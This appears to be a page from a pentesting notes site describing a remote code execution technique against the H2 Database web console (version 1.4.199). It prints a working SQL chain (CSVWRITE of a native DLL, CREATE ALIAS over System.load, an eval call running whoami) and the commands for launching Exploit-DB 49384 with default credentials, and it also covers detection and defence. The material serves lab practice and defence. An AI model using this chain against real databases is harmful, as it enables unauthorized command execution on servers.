the_open_door
coffee
ESEN
← Back to index

H2 Database RCE via JNI

The H2 Database Engine is an embedded Java database widely used in development. Its web console (usually on port 8082) lets you open arbitrary JDBC connections and run SQL. If we reach an authenticated session (often with the default credentials sa and no password), version 1.4.199 carries a command-execution vector through JNI (Java Native Interface).

The technique chains three SQL statements. First CSVWRITE writes a native library to disk whose bytes are embedded as characters in the SQL itself (a .dll on Windows, a .so on Linux). Then an alias is defined over java.lang.System.load to load that library, and finally an alias over the eval method the library exposes, which evaluates arbitrary Java:

SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', CHAR(0x4d),CHAR(0x5a), ... ,'"'), 'ISO-8859-1', '', '', '', '', '');
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\Z").next()');

The last CALL invokes Runtime.exec and returns the command output inside the console itself, enough to download and run a reverse shell. The process runs under the H2 service account.

The reference public exploit is Exploit-DB 49384, which already ships the serialized library inside the CSVWRITE.

searchsploit -m 49384
python3 49384.py <ip> 8082    # console at http://<ip>:8082, JDBC jdbc:h2:mem:test, user sa no pass

Nuance. It relies on being able to define aliases over Java methods (CREATE ALIAS), something H2 allows by design to extend the engine; in deployments that restrict that capability or upgrade the version the vector falls apart. The console itself should not be network-exposed.

How to detect it. The SQL signature (H2 trace, or a proxy in front of the 8082 console) is unmistakable: CSVWRITE(...) writing to a system path (\Temp\*.dll, /tmp/*.so), CREATE ALIAS ... FOR "java.lang.System.load" and CALL ...eval(...), statements no legitimate application issues. On the network, access to the 8082 console from an external IP (or with sa and no password) is already the exposure. On the host, the H2 java process writing a .dll/.so and spawning cmd/whoami/sh as a child confirms execution (auditd/Sysmon: native-library creation + execve/Process Create with ppid=java).

Defence. Do not expose the H2 console outside localhost, change the default credentials, update the engine and, where possible, disable alias creation and disk writes. Related to MSSQL xp_cmdshell (a database running system commands) and to file writes via SQL.

Machines where it's used

  • JackoProving Grounds Practice